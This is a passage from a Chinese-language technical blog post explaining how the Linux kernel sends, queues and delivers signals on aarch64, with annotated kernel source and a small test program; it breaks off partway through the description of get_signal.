版權聲明：本文為CSDN博主「ashimida@」的原創文章，遵循CC 4.0 BY-SA版權協議，轉載請附上原文出處鏈接及本聲明。
原文鏈接：https://blog.csdn.net/lidan113lidan/article/details/122547854

更多內容可關注微信公眾號??

一、基本概念

? 信號是事件發生時對進程的通知機制,其與中斷類似,在到達時都會打斷程序的正常執行流程。一個進程(若具有權限則)可以向另一個進程或向自身發送信號，其可以作為一種同步技術或進程間通信的原始形式。發往進程的諸多信號通常都源于內核，引發內核為進程產生信號的事件包括:

• 硬件異常: 如用戶態的訪問異常/除零異常等，其首先都是由硬件捕獲并通知內核的，再由內核通過信號傳遞給用戶態。
• 用戶輸入的中斷字符: 如ctrl-c, ctrl-z。
• 軟件事件的發生: 如針對文件描述符的輸出變為有效,終端大小調整,定時器到期,cpu執行時間到期,子進程退出等。

每個信號在系統中都有唯一的編碼，其編號隨著系統的不同而不同，故程序中應該總是使用符號名來代表這些信號。

信號分為標準信號和實時信號, 在linux中編號1~31為標準信號 >31(<=64)的為實時信號。

信號在產生后可能會經歷一段時間才會真正被處理(到達),在此過程中信號則處于pending(等待狀態), 在內核返回用戶態時才會檢查信號是否到來,故:

* 若進程向其他進程發送信號，則通常總要有一段(極短的)pending的時間, 直到目標進程被調度到或目標進程正在運行時產生了el0異常.

* 若進程向自身發送信號，則通常在如*kill系統調用返回時此信號立即被處理。

有時為了確保一段代碼不被打斷，可以通過掩碼來屏蔽部分信號，被屏蔽的信號會一直處于等待狀態,直到接觸屏蔽。

通過/proc/pid/status接口可以查看當前進程的信號:

## 實現代碼參考內核 ./fs/proc/array.c task_sig tangyuan@ubuntu:~/tests/namespace$ cat /proc/xxx/status ...... SigQ: 1/31451 ## 當前進程信號隊列中總共收到了多少個信號 SigPnd: 0000000000000000 ## 當前線程收到過哪些信號,SigPnd(signal pending)是收到的信號掩碼 ShdPnd: 0000000000000200 ## 當前*線程組*共享隊列中收到了哪些信號, ShdPnd(shared pending)是共享隊列中收到的掩碼,這里0x200代表收到信號為SIGUSR1 SigBlk: 0000000000000a00 ## 當前線程阻塞的信號掩碼,當前SIGUSR1/2信號均被阻塞 SigIgn: 0000000000000000 ## 當前*線程組*忽略的信號,信號忽略是以線程組為單位的 SigCgt: 0000000000000a00 ## 當前*線程組* 捕獲的信號,也就是自定義了信號處理函數的信號,當前SIGUSR1/2均自定義了信號處理函數 ......

linux中各信號的定義可參考[0], 這里需要注意的是:

1. 標準信號不排隊，實時信號需排隊處理

• 標準信號不做排隊處理:? 即內核某線程/線程組若收到某個標準信號，則在其被處理前是不會再次在pending隊列中加入同一個標準信號的。這意味著若一個標準信號多次到達，其信號處理函數有可能只被調用了一次。
• 實時信號需要排隊處理:? ?即內核某線程/線程組若收到實時信號，則不論之前是否有收到過此信號，都會在pending隊列新增此信號。這也意味著每發生一次實時信號其信號處理函數都會被調用一次。

?2. 內核線程也可以接收信號

? ?雖然信號處理是為用戶進程設計的，但在linux中內核線程也是可以接受信號的。和用戶進程不同的是:

• 內核線程中只可以確定要接受哪個信號，但不能為信號指定具體處理函數
• 內核線程不會主動觸發信號處理函數，若想要查看自身收到的信號，內核線程中需要使用循環來判斷自身是否收到了信號(默認的信號處理發生在內核返回到用戶態,內核線程不會觸發此流程)
• 內核線程可以指定其接受的某個信號只能由內核態發出，即其可以指定自身不接受用戶態發送的信號。
• 內核線程不接受SIGKILL信號

內核線程的信號處理可以參考內核線程函數 jffs2_garbage_collect_thread.

?3. init進程不接受SIGKILL/SIGSTOP信號

? ?見內核sig_task_ignored函數

二、信號處理函數的設置

? 從內核角度看，一個線程的信號可能保存在兩個隊列中:

• 一個是線程組共享的信號隊列(task_struct->signal->shared_pending)
• 一個是線程自身私有的信號隊列(task_struct->pending)

? 通常信號是發送到線程組共享的信號隊列的，此隊列中的信號被線程組中的任意線程處理(一次)即可，而在用戶態看來則是一個信號可能被線程組中的任一線程處理。而通過如tkill系統調用也可以將信號直接發送給線程的私有信號隊列，此時雖然線程組中所有線程的信號處理函數是同一個，但可以確保此信號只會由某個具體的線程來處理。在內核中信號相關的結構體定義如下:

// task_struct中信號相關字段 struct task_struct {....../* Signal handlers: */struct signal_struct *signal; /* 指向線程組共享的信號描述信息的指針 */struct sighand_struct __rcu *sighand; /* 指向線程組共享的信號處理函數描述信息的指針 *//*線程私有的被阻塞信號結構體, sigset_t是一個信號掩碼, 每個信號在其中占一個bit位,需要注意block和ignore不同:* 被設置為ignore后再接收到此信號則會被直接忽略,設置時若發現有已到達的ignore信號也會丟棄。* 被設置為blocked后再接收到此信號同樣還需要加入到信號隊列，只是此時不再向縣城發送TFI_SIGPENDING到達信號了,后續unblock之后此信號還是會被處理的.*/sigset_t blocked; sigset_t real_blocked;sigset_t saved_sigmask; /* 在sigsuspend等函數等待信號期間臨時保存之前的 block 掩碼 */struct sigpending pending; /* 線程私有的信號隊列 */unsigned long sas_ss_sp; /* 若線程有單獨的信號棧則記錄在這里 */size_t sas_ss_size;unsigned int sas_ss_flags;...... }//只記錄部分相關結構體 struct signal_struct {......struct list_head thread_head; /* 指向線程組組長的task_struct->thread_node */......struct sigpending shared_pending; /* 線程組的共享信號隊列 *//* thread group exit support */int group_exit_code; /* 整個線程組是因為哪個信號退出的,見 complete_signal */int group_stop_count; /* thread group stop support, overloads group_exit_code too */unsigned int flags; /* see SIGNAL_* flags below */struct pid *pids[PIDTYPE_MAX]; /* 信號處理時有時會向進程組，會話發送信號，這里記錄進程組和會話pid等相關信息 */...... }struct sighand_struct {spinlock_t siglock; refcount_t count; /* 引用計數 */wait_queue_head_t signalfd_wqh; /* 等待此signal 的signalfd 隊列,見 signalfd_read */struct k_sigaction action[_NSIG]; /* 記錄每個信號的信號處理函數等相關信息 */ };struct k_sigaction {struct sigaction sa;...... };struct sigaction {/* 信號處理函數指針,* 若為0(SIG_DFL)則代表使用默認信號處理函數* 若為1(SIG_IGN)則代表此信號被忽略* 若為2(SIG_KTHREAD)則代表當前內核線程可以接受用戶態/內核態向其發送此信號* 若為3(SIG_KTHREAD_KERNEL)則代表當前內核線程只可以接受內核態向其發送此信號*/__sighandler_t sa_handler;unsigned long sa_flags; /* 某些信號會有一些細節控制flag，如SIGCHLD可以指定SA_NOCLDSTOP */sigset_t sa_mask; /* 當當前信號正在處理時需屏蔽的其他信號，其可以用于防止信號處理函數被再次中斷 */ };

? 各結構體關系如下圖:

? linux 用戶態可以通過signal/sigaction函數設置信號處理函數,二者系統調用接口如下:

SYSCALL_DEFINE3(sigaction, int, sig, const struct old_sigaction __user *, act, struct old_sigaction __user *, oact); SYSCALL_DEFINE2(signal, int, sig, __sighandler_t, handler);

??二者最終均調用了do_sigaction函數,這里以簡單的sys_signal函數為例:

/* 將當前線程組信號sig的處理函數設置為handler, 并返回舊的信號處理函數指針 */ SYSCALL_DEFINE2(signal, int, sig, __sighandler_t, handler) {struct k_sigaction new_sa, old_sa;int ret;new_sa.sa.sa_handler = handler; /* 構建一個 sigaction結構體并指定用戶態的信號處理函數 handler */new_sa.sa.sa_flags = SA_ONESHOT | SA_NOMASK; /* signal 函數默認是單次觸發 */sigemptyset(&new_sa.sa.sa_mask); /* 清空/重置當前信號處理時的掩碼 */ret = do_sigaction(sig, &new_sa, &old_sa); /* 設置當前線程組信號sig的處理函數，并返回此信號舊的處理函數指針; 若信號設置為被忽略則需刪除已收到的所有此信號 */return ret ? ret : (unsigned long)old_sa.sa.sa_handler; /* 出錯返回錯誤碼,否則返回原有的handler */ }

? do_sigaction:

/*此函數負責為當前線程組設置信號sig的信號處理函數(記錄在act中),并通過oact返回之前的信號處理函數.如果act中指定信號sig會被忽略，那么會刪除此線程組信號隊列(包括線程組所有線程私有信號隊列)中已經接受到的此信號. */ int do_sigaction(int sig, struct k_sigaction *act, struct k_sigaction *oact) {struct task_struct *p = current, *t;struct k_sigaction *k;sigset_t mask;/* 若非有效信號([1,64]之外的信號),或是不可屏蔽信號則返回錯誤。不可屏蔽信號(SIG_KILL/SIG_STOP)不能設置handler */if (!valid_signal(sig) || sig < 1 || (act && sig_kernel_only(sig)))return -EINVAL;k = &p->sighand->action[sig-1]; /* 獲取當前線程組中此信號的 action 數組 */if (oact) /* 如果需要獲取舊的信號處理信息,則通過oact 返回 */*oact = *k;.......if (act) {/* 傳入的sa_mask為此信號處理函數執行過程中需要屏蔽的其他信號, SIGKILL/SIGSTOP總是不可屏蔽信號,需要去除 */sigdelsetmask(&act->sa.sa_mask, sigmask(SIGKILL) | sigmask(SIGSTOP));*k = *act; /* 將新的action結構體復制到線程組此信號的action結構體中, 信號處理函數設置完畢 *//*如果當前信號被設置為要忽略(此信號handler設置為SIG_IGN,或設置為SIG_DFL且此信號默認行為是忽略), 則需要同時刪除此線程所在線程組中所有信號隊列中已經收到的所有此信號. 這包括線程組的shared_pending和各個線程自身的pending隊列中:* 已經加入隊列的信號結構體(sigqueue)的刪除* 清除這些隊列自身sigpending->signal中此sig的掩碼*/if (sig_handler_ignored(sig_handler(p, sig), sig)) {sigemptyset(&mask); /* 生成此信號對應的掩碼 */sigaddset(&mask, sig);flush_sigqueue_mask(&mask, &p->signal->shared_pending); /* 刪除shared_pending中已有的所有此信號 */for_each_thread(p, t) flush_sigqueue_mask(&mask, &t->pending); /* 同時刪除線程組各個線程中的此信號 */}}return 0; }

三、信號的發送

? 這里以用戶態入口系統調用sys_kill為例,其定義如下:

SYSCALL_DEFINE2(kill, pid_t, pid, int, sig) {struct kernel_siginfo info;/* 為signal 準備 kernel_siginfo 結構體*/prepare_kill_siginfo(sig, &info);return kill_something_info(sig, &info, pid); }static int kill_something_info(int sig, struct kernel_siginfo *info, pid_t pid) {int ret;if (pid > 0)return kill_proc_info(sig, info, pid); /* 若pid > 0 ，則向此pid對應的線程組發送信號 */......return ret; } //這里以pid>0為例，kill_proc_info函數會依次調用到 _send_signal處理信號,在此過程中會調用check_kill_permission檢查發送權限 //kill_proc_info => kill_pid_info => group_send_sig_info => do_send_sig_info => send_signal /*sig: 要發送的信號t: 信號要發送到哪個tasktype: 信號是否要同時發給此task所在的線程組/進程組/會話,若為PIDTYPE_PID則代表信號只發給當前task(線程)force: 若信號來自內核或祖先namespace,則force為true */ static int __send_signal(int sig, struct kernel_siginfo *info, struct task_struct *t,enum pid_type type, bool force) {struct sigpending *pending;struct sigqueue *q;int ret = 0, result;....../* 若當前信號是線程組要忽略的信號,則這里直接返回; 此函數中還預處理了stop/continue信號的關系 */if (!prepare_signal(sig, t, force)) goto ret;/*若信號是發給特定線程的(type=PIDTYPE_PID),則使用t->pending(當前線程的pending隊列)若信號是發給線程組/會話的,則使用shared_pending(共享的存儲pending的隊列)*/pending = (type != PIDTYPE_PID) ? &t->signal->shared_pending : &t->pending;....../* 非ignore的信號也不一定總是要插入信號隊列:* 對于非實時信號,如果pending隊列中已有此信號則不必重復添加,直接返回* 對于實時信號和未曾添加過的信號,則向隊列中添加此信號*/if (legacy_queue(pending, sig))goto ret;......if ((sig == SIGKILL) || (t->flags & PF_KTHREAD)) /* 不可向內核線程發送SIGKILL信號 */goto out_set;......q = __sigqueue_alloc(sig, t, GFP_ATOMIC, override_rlimit, 0); /* 分配存儲此信號信息的 sigqueue 結構體 */if (q) {list_add_tail(&q->list, &pending->list); /* 將信號添加到 sigpending隊列的末尾 */......} else ......out_set:signalfd_notify(t, sig); /* 支持signalfs的信號通知鏈 */sigaddset(&pending->signal, sig); /* 將信號加入pending隊列的信號掩碼中，此掩碼用來快速判斷當前隊列收到了哪些信號 */if (type > PIDTYPE_TGID) { /* 如果此信號是發送到信號組或session的 */.......}complete_signal(sig, t, type); /* 若信號沒有被block等情況下, 為當前線程標記 TIF_SIGPENDING */ ret:......return ret; }

? 其中prepare_signal定義如下:

static bool prepare_signal(int sig, struct task_struct *p, bool force) {struct signal_struct *signal = p->signal;struct task_struct *t;sigset_t flush;if (signal->flags & (SIGNAL_GROUP_EXIT | SIGNAL_GROUP_COREDUMP)) { /* 如果線程組正在退出過程中, 則此信號變為 SIGKILL */if (!(signal->flags & SIGNAL_GROUP_EXIT))return sig == SIGKILL;} else if (sig_kernel_stop(sig)) { /* 如果線程收到stop信號，則移除已有的所有continue信號 */.......} else if (sig == SIGCONT) { /* 若收到continue信號則喚醒線程 */ .......}return !sig_ignored(p, sig, force); /* 如果此信號不被忽略，則返回true */ }static bool sig_ignored(struct task_struct *t, int sig, bool force) {/*若線程已經設置了此信號的blocked掩碼,則說明此信號只是被block了,不能忽略此時不會判斷handler是否為SIG_IGN.*/if (sigismember(&t->blocked, sig) || sigismember(&t->real_blocked, sig))return false;.......return sig_task_ignored(t, sig, force); }static bool sig_task_ignored(struct task_struct *t, int sig, bool force) {void __user *handler;handler = sig_handler(t, sig); /* 獲取信號handler *//* SIGKILL/SIGSTOP不能發送給全局init進程 */if (unlikely(is_global_init(t) && sig_kernel_only(sig)))return true;......./* 若向內核線程發送信號時此內核線程指定了SIG_KTHREAD_KERNEL,則只有內核可向其發送信號 */if (unlikely((t->flags & PF_KTHREAD) &&(handler == SIG_KTHREAD_KERNEL) && !force))return true;/* handler為SIG_IGN;或為SIG_DFL但默認處理方式為ignore的信號直接忽略 */return sig_handler_ignored(handler, sig); }

? 其中complete_signal函數定義如下:

static void complete_signal(int sig, struct task_struct *p, enum pid_type type) {struct signal_struct *signal = p->signal;struct task_struct *t;if (wants_signal(sig, p)) /* 此函數返回true(即此線程希望收到信號),則后續需要為線程p標記p->flags|=TIF_SIGPENDING */t = p;/* 若當前線程暫時不想收到信號, 且此信號只能此線程接收(包括兩種情況:1)此信號就是發送給當前線程的; 2) 其線程組中沒有其他線程;則此時不設置 TIF_SIGPENDING 直接返回 */else if ((type == PIDTYPE_PID) || thread_group_empty(p))return;else { /* 否則找到線程組中一個可以處理此信號的線程并向其發送信號 */t = signal->curr_target;while (!wants_signal(sig, t)) {t = next_thread(t);if (t == signal->curr_target)return;}signal->curr_target = t;}......signal_wake_up(t, sig == SIGKILL); /* 為線程t標記 TIF_SIGPENDING */return; }static inline bool wants_signal(int sig, struct task_struct *p) {if (sigismember(&p->blocked, sig)) /* 若task p block了信號sig,則此時無需為其設置 TIF_SIGPENDING */return false;if (p->flags & PF_EXITING) /* 若當前進程正在退出，則不再需要signal */return false;if (sig == SIGKILL) /* SIGKILL信號總是無法block(在設置信號時會確保blocked掩碼中未屏蔽SIGKILL/SIGSTOP */return true;if (task_is_stopped_or_traced(p))return false;return task_curr(p) || !task_sigpending(p); /* 已有TIF_SIGPENDING的進程無需重新設置 */ }static inline void signal_wake_up(struct task_struct *t, bool resume) {signal_wake_up_state(t, resume ? TASK_WAKEKILL : 0); }void signal_wake_up_state(struct task_struct *t, unsigned int state) {/* 標記線程t中有信號需要處理 */set_tsk_thread_flag(t, TIF_SIGPENDING);/* 喚醒線程t */if (!wake_up_state(t, state | TASK_INTERRUPTIBLE))kick_process(t); }

四、信號的處理與等待

4.1 信號處理概述

1. 信號處理的時機

? 由前可知，信號發送操作除了將具體信號設置到線程的共享/私有隊列外，還會為此線程標記TIF_SIGPENDING flags(若當前線程block了信號，則有可能會發送給線程組其他線程), 不論線程收到了多少個信號都會通過這一個flag標記, 只要線程的tsk->flags 標記了 TIF_SIGPENDING則就說明此線程收到了信號。

? 內核在檢查是否有信號到達時同樣檢查的也是線程的TIF_SIGPENDING flag, 內核中的信號處理可以分為兩種場景:

?1) 內核返回用戶態時檢查并處理信號

? ? 由于信號在多大多數情況下是給用戶態進程使用的，故比較常見的是此場景, 通常從EL0異常入口進入內核并返回到用戶態之前都會檢查當前線程是否有要處理的信號,如:

• EL0同步異常, 如EL0發起的系統調用, 指令/數據訪問錯誤.
• EL0異步異常, 如EL0時發生的IRQ中斷.

? 2) 內核線程通過循環檢查自身的信號

????這種場景比較少見, 偶爾出現在一些需要與用戶態交互的內核線程中, 此時內核線程可以決定只接受內核發送的信號(SIG_KTHREAD_KERNEL),也可以接受用戶態信號(SIG_KTHREAD). 和用戶態顯著的區別在于, 內核信號更類似一個個case,其不能指定信號處理函數，內核線程中需要自己實現代碼來循環檢測是否有信號出現(內核線程不會執行到1的流程，故若收到信號必須主動處理) 在情景1/2中內核均通過類似signal_pending的邏輯判斷當前線程是否有需要處理的信號.

2、信號處理流程描述

內核在返回用戶態之前檢查并處理信號, 當前線程首先會無視(不忽略也不處理)其自身阻塞的信號，對于未被阻塞的信號分為三種情況:

?1) 使用默認行為的信號(SIG_DFL)

• 如果默認行為是忽略此信號,則內核直接忽略此信號
• 如果默認行為是終止/停止/繼續,則內核直接處理

?2) 直接忽略的信號(SIG_IGN)

• 內核直接忽略標記為忽略的信號

?3) 需要執行handler的信號

• 內核需要在信號棧保存當前用戶態上下文，并為用戶態重置一個信號上下文
• 內核返回用戶態后執行信號上下文(即信號處理函數), 執行完畢后通過ret指令返回
• 信號上下文會直接返回到系統調用 sys_rt_sigreturn, 此系統調用中恢復之前的用戶態上下文
• 內核再次返回用戶態，恢復用戶態上下文執行

需要注意的是:

1) 阻塞是以線程為單位的:?

? ? 線程組共享的信號(常規信號)被一個線程阻塞并不代表其不能被處理, 同一線程組的任一其他線程均可處理此信號。

2) 用戶態上下文:

? ? 用戶態代碼執行到任意位置時都有可能有異常觸發, 不論是同步/異步異常在返回時都會檢查當前進程是否有信號要處理, 對于需要執行信號處理函數的信號其被中斷前的用戶態上下文必須得以保存，否則信號處理函數執行完畢后無法恢復原有運行環境. 在linux中此用戶態上下文是被在異常發生時存儲，在信號處理函數執行的過程中被保存在用戶/信號棧中的，在信號處理完畢后同樣需要從棧中恢復。

3) 信號上下文:

? ? 信號上下文指的是信號處理函數的上下文,主要包括:

• PC: 即信號處理函數的指針
• SP: 信號處理函數可以使用當前用戶線程的棧，也可以單獨指定一個信號棧(后面以線程棧為例); 內核在執行信號處理函數前會在棧上保存用戶上下文以便執行完畢后的恢復
• LR: 信號處理函數也是一個普通函數, 其通過ret指令返回，內核則需要讓信號處理函數返回時執行 sys_rt_sigreturn來恢復用用戶態上下文, 故內核需要將信號處理函數的返回地址設置為sys_rt_sigreturn函數地址.

4)?當異常返回前發現多個信號處理函數時:

? ? 異常返回前會循環遍歷所有未被當前線程block的信號，如果有多個信號均需要執行信號處理函數, 那么內核會在進程棧中依次堆疊多個信號棧幀, 如某線程依次收到了需要執行handler的 sig1/sig2兩個信號, 則內核會先為sig1設置棧幀，然后為sig2設置棧幀。而最終用戶態的執行流程是 sig2_handler => sys_rt_sigreturn => sig1_handler => sys_rt_sigreturn => 用戶態上下文， 即后到的信號被優先處理(舉例見備注)。

5) 當信號處理函數執行過程中再次被信號中斷時:

? ? 若用戶態正在執行信號處理函數，此時沒有被當前線程block的信號可能導致此信號處理程序被再次中斷，同樣是后到的信號被優先處理，但不同的是此時可能導致競態死鎖問題(信號處理函數需要設計為可重入).

6) 安全性分析:

? ? 這里的安全性分析僅針信號處理過程中是否會導致權限提升，并不針對如SROP等利用信號處理的利用方式。信號處理的過程中在用戶棧中保存了用戶態上下文，在信號處理完成后需要內核(sys_rt_sigreturn)為用戶態恢復此上下文,用戶態上下文的數據包括:

struct ucontext {unsigned long uc_flags;struct ucontext *uc_link;stack_t uc_stack; sigset_t uc_sigmask; /* 重置的block掩碼 */__u8 __unused[1024 / 8 - sizeof(sigset_t)];struct sigcontext uc_mcontext; };struct sigcontext {__u64 fault_address;__u64 regs[31]; /* 通用寄存器 */__u64 sp;__u64 pc;__u64 pstate; /* pstate 狀態寄存器 */__u8 __reserved[4096]; /* 4K reserved for FP/SIMD state and future expansion */ };

? 用戶態跳轉到/修改任何用戶態數據均不會有權限問題，其中唯一的問題就是內核在信號返回時會從用戶態讀取pstate并恢復到內核的CPSR_EL1; pstate中記錄了一些需要恢復的如比較j結果,是否溢出等，但同時也記錄了一些安全相關的如當前異常級別等bit位，故如果不加檢查的直接從用戶態恢復此值則攻擊者可以輕易利用信號處理來提升異常級別(如用戶態由EL0=>EL1), 內核處理的方式則是恢復用戶態上下文之前添加了一個檢查函數valid_user_regs，以確保pstate的正確性,代碼如下:

int valid_user_regs(struct user_pt_regs *regs, struct task_struct *task) {user_regs_reset_single_step(regs, task); /* 若需要則重置單步調試 */if (is_compat_thread(task_thread_info(task)))return valid_compat_regs(regs);elsereturn valid_native_regs(regs); /* pstate必須設置為EL0, 開啟所有中斷, aarch64模式才有效 */ }static int valid_native_regs(struct user_pt_regs *regs) {regs->pstate &= ~SPSR_EL1_AARCH64_RES0_BITS; /* pstate 中reserved bit 直接置零 *//** user_mode 要求 pstate最后4bit為必須為 0x0 (也就是返回到用戶態必須是EL0)* 64位不能返回到aarch32;* 且當前的異常掩碼必須全部置零(開中斷)*/if (user_mode(regs) && !(regs->pstate & PSR_MODE32_BIT) &&(regs->pstate & PSR_D_BIT) == 0 &&(regs->pstate & PSR_A_BIT) == 0 &&(regs->pstate & PSR_I_BIT) == 0 &&(regs->pstate & PSR_F_BIT) == 0) {return 1;}/* Force PSR to a valid 64-bit EL0t */regs->pstate &= PSR_N_BIT | PSR_Z_BIT | PSR_C_BIT | PSR_V_BIT;return 0; }

3、信號處理舉例

? 測試代碼:

/* 此代碼針對aarch64平臺, 其他平臺由于ucontext結構體定義不同編譯不通過 */ #include <asm/ucontext.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <errno.h> #include <signal.h> #include <fcntl.h>void siguser2_handler(int signo, siginfo_t *info, void *ctx) {struct ucontext *uc = ctx;unsigned long *fp = __builtin_frame_address(0);unsigned long *lr = __builtin_return_address(0);printf("[+][siguser2]: current fp:%p, lr:%p\n", fp, lr);printf("[+][siguser2]: ucontext:%p, size:%x\n", uc, sizeof(struct ucontext));printf("[+][siguser2]: prev context: pc:%p, sp:%p, lr:%p\n", \uc->uc_mcontext.pc, uc->uc_mcontext.sp, uc->uc_mcontext.regs[30]);return; }void siguser1_handler(int signo, siginfo_t *info, void *ctx) {struct ucontext *uc = ctx;unsigned long *fp = __builtin_frame_address(0);unsigned long *lr = __builtin_return_address(0);printf("[+][siguser1]: current fp:%p, lr:%p\n", fp, lr);printf("[+][siguser1]: ucontext:%p, size:%x\n", uc, sizeof(struct ucontext));printf("[+][siguser1]: prev context: pc:%p, sp:%p, lr:%p\n", \uc->uc_mcontext.pc, uc->uc_mcontext.sp, uc->uc_mcontext.regs[30]);return; }int main() {struct sigaction act;sigset_t set, oldset;printf("[+] current pid:%d, setting siguser1_handler:%p, siguser2_handler:%p ...\n", \getpid(), siguser1_handler, siguser2_handler);act.sa_sigaction = siguser1_handler; act.sa_flags = SA_SIGINFO;sigemptyset(&act.sa_mask);sigaction(SIGUSR1, &act, NULL);act.sa_sigaction = siguser2_handler;sigaction(SIGUSR2, &act, NULL); /* 設置SIGUSER1/SIGUSER2的handler */printf("[+] setting mask for SIGUSR1/2 ...\n");sigemptyset(&set);sigemptyset(&oldset);sigaddset(&set, SIGUSR1);sigaddset(&set, SIGUSR2);sigprocmask(SIG_SETMASK, &set, &oldset); /* 先block SIGUSER1/SIGUSER2 信號的處理 */printf("[+] sending signal SIGUSR1 ...\n");kill(getpid(), SIGUSR1);printf("[+] sending signal SIGUSR2 ...\n");kill(getpid(), SIGUSR2); /* 向當前進程發送SIGUSER1/SIGUSER2信號, 此時線程同時擁有兩個需要執行handler的信號 */printf("[+] unmask SIGUSR1/2 ...\n");/* unblock SIGUSER1/SIGUSER2 信號的處理 *, 此系統調用返回時處理線程的兩個信號 */sigprocmask(SIG_SETMASK, &oldset, NULL); /* 此時會先調用SIGUSER2信號處理函數, 再調用SIGUSER1信號處理函數,然后再返回main函數 */char buf1[] = "[+] runing in main\n";write(1, buf1, sizeof(buf));return 0; }

? 輸出結果:

/ # ./main [4/7606] [+] current pid:112, setting siguser1_handler:0x400838, siguser2_handler:0x4007ac ... [+] setting mask for SIGUSR1/2 ... [+] sending signal SIGUSR1 ... [+] sending signal SIGUSR2 ... [+] unmask SIGUSR1/2 ... [+][siguser2]: current fp:0xffffc46aac60, lr:0xffff9c2b6888 ## siguser2返回地址為 sys_rt_sigreturn [+][siguser2]: ucontext:0xffffc46aad30, size:11d0 [+][siguser2]: prev context: pc:0x400838, sp:0xffffc46abf10, lr:0xffff9c2b6888 ## siguser2上一個棧幀pc為siguser1_handler,其一句都尚未執行## siguser1的返回地址也是 sys_rt_sigreturn [+][siguser1]: current fp:0xffffc46abec0, lr:0xffff9c2b6888 ## siguser1的返回地址為 sys_rt_sigreturn(同上) [+][siguser1]: ucontext:0xffffc46abf90, size:11d0 [+][siguser1]: prev context: pc:0x413b8c, sp:0xffffc46ad170, lr:0x4056cc ## siguser1上一個棧幀為系統調用的下一條指令(__pthread_sigmask中svc的下一條指令)## siguser1上一個棧幀的返回地址即為__pthread_sigmask的返回地址(__sigprocmask函數中的地址) [+] runing in main## 進程映射 00400000-0047a000 r-xp 00000000 00:02 5 /main 0048a000-0048b000 r--p 0007a000 00:02 5 /main 0048b000-0048d000 rw-p 0007b000 00:02 5 /main 0048d000-00496000 rw-p 00000000 00:00 0 25b2e000-25b50000 rw-p 00000000 00:00 0 [heap] ffff9c2b4000-ffff9c2b6000 r--p 00000000 00:00 0 [vvar] ffff9c2b6000-ffff9c2b7000 r-xp 00000000 00:00 0 [vdso] ffffc468d000-ffffc46ae000 rw-p 00000000 00:00 0 [stack]

? 整個信號處理的代碼執行流程如下圖所示:

4.2 EL0異常返回前的中斷檢查與處理

? EL0中不論是同步/異步異常,最終均會調用函數 exit_to_user_mode返回用戶態, 此函數中負責檢查當前線程是否有需要處理的信號,定義如下:

static __always_inline void exit_to_user_mode(struct pt_regs *regs) {prepare_exit_to_user_mode(regs); /* 關中斷, 檢查返回到用戶態之前是否有未完成的工作 */mte_check_tfsr_exit();__exit_to_user_mode(); }static __always_inline void prepare_exit_to_user_mode(struct pt_regs *regs) {unsigned long flags;local_daif_mask(); /* 關中斷 */flags = READ_ONCE(current_thread_info()->flags); /* 獲取當前線程的flag,檢查是否有等待處理的工作 */if (unlikely(flags & _TIF_WORK_MASK)) /* 如果有未完成的工作,則調用 do_nitify_resume處理 */do_notify_resume(regs, flags); }/*do_notify_resume 函數用來處理線程返回前被通知的未完成的工作,此函數直到處理完所有工作后才返回, 包括 進程調度,信號處理等.這里需要注意的是,若當前線程中有多個信號需要處理,那么do_notify_resume會為每個信號都調用do_signal函數,直到所有信號處理后才返回。故在用戶態角度其在執行某個信號處理函數時可能發現棧幀還堆疊著多個其他待執行的信號處理函數。 */ void do_notify_resume(struct pt_regs *regs, unsigned long thread_flags) {do {if (thread_flags & _TIF_NEED_RESCHED) {local_daif_restore(DAIF_PROCCTX_NOIRQ); /* 如果是需要調度，則先關中斷 */schedule();} else {local_daif_restore(DAIF_PROCCTX); /* 非調度則開中斷即可 */.......if (thread_flags & (_TIF_SIGPENDING | _TIF_NOTIFY_SIGNAL)) /* do_signal函數一次處理一個信號, 系統調用的restart也在這里處理 */do_signal(regs);.......}local_daif_mask(); /* 關中斷 */thread_flags = READ_ONCE(current_thread_info()->flags); /* 再次檢查是否還有未完成的工作 */} while (thread_flags & _TIF_WORK_MASK); /* 如果還有未完成工作,則循環處理 */ }

??其中do_signal是信號處理的入口,此函數一次處理一個信號,其定義如下:

/*此函數只在內核返回用戶態時被嗲用, regs是內核棧上的指針。在EL0異常發生時, 異常入口(keren_ventry/kernel_entry)會將用戶態當前寄存器狀態保存到此regs中,同時異常返回時此regs會重新賦值給用戶態運行環境，即此regs的修改會導致用戶態控制流等變化。 */ static void do_signal(struct pt_regs *regs) {unsigned long continue_addr = 0, restart_addr = 0;int retval = 0;struct ksignal ksig;bool syscall = in_syscall(regs); /* 根據pt_regs->syscallno判斷當前用戶態是否是通過系統調用進入的異常 *//* 系統調用返回的ERESTART* 系列返回值是需要在這里處理的 */if (syscall) { /* 對于系統調用,則需要檢查其返回值(R0)是否代表此系統調用要重新執行,若是則修正pc */continue_addr = regs->pc;restart_addr = continue_addr - (compat_thumb_mode(regs) ? 2 : 4);retval = regs->regs[0]; /* 獲取syscall返回值,系統調用的返回值在 invoke_syscall 的最終已經放到regs->regs[0]中了 */forget_syscall(regs); /* Avoid additional syscall restarting via ret_to_user. *//*系統調用時若返回類似 ERESTARTSYS 則都需要先為此線程設置信號, 以確保可以走到此流程此時需要里需要恢復進入syscall之前的x0 以供restart使用, 并同時重置pc為restart之前的那一條指令.*/switch (retval) {case -ERESTARTNOHAND:case -ERESTARTSYS:case -ERESTARTNOINTR:case -ERESTART_RESTARTBLOCK:regs->regs[0] = regs->orig_x0;regs->pc = restart_addr;break;}}/* 從線程的pending/shared_pending隊列中查找信號,對于SIG_DFL的直接處理掉,SIG_IGN的信號直接忽略,若發現一個信號需要執行handler則立即返回,不再處理剩余信號.此函數返回true則代表找到一個要執行的handler,返回false代表所有信號均處理完畢,沒有需要執行的handler.*/if (get_signal(&ksig)) { ....../* 若發現一個信號需要執行信號處理函數,則調用此函數:* 將當前用戶態上下文保存到用戶態棧/用戶態信號棧* 將用戶態上下文設置為信號處理(pc=handler/sp=sp+x;lr=__kernel_rt_sigreturn ...)*/handle_signal(&ksig, regs);return;}...... }

??其中do_signal=>get_signal負責從信號隊列中獲取一個信號,其定義如下:

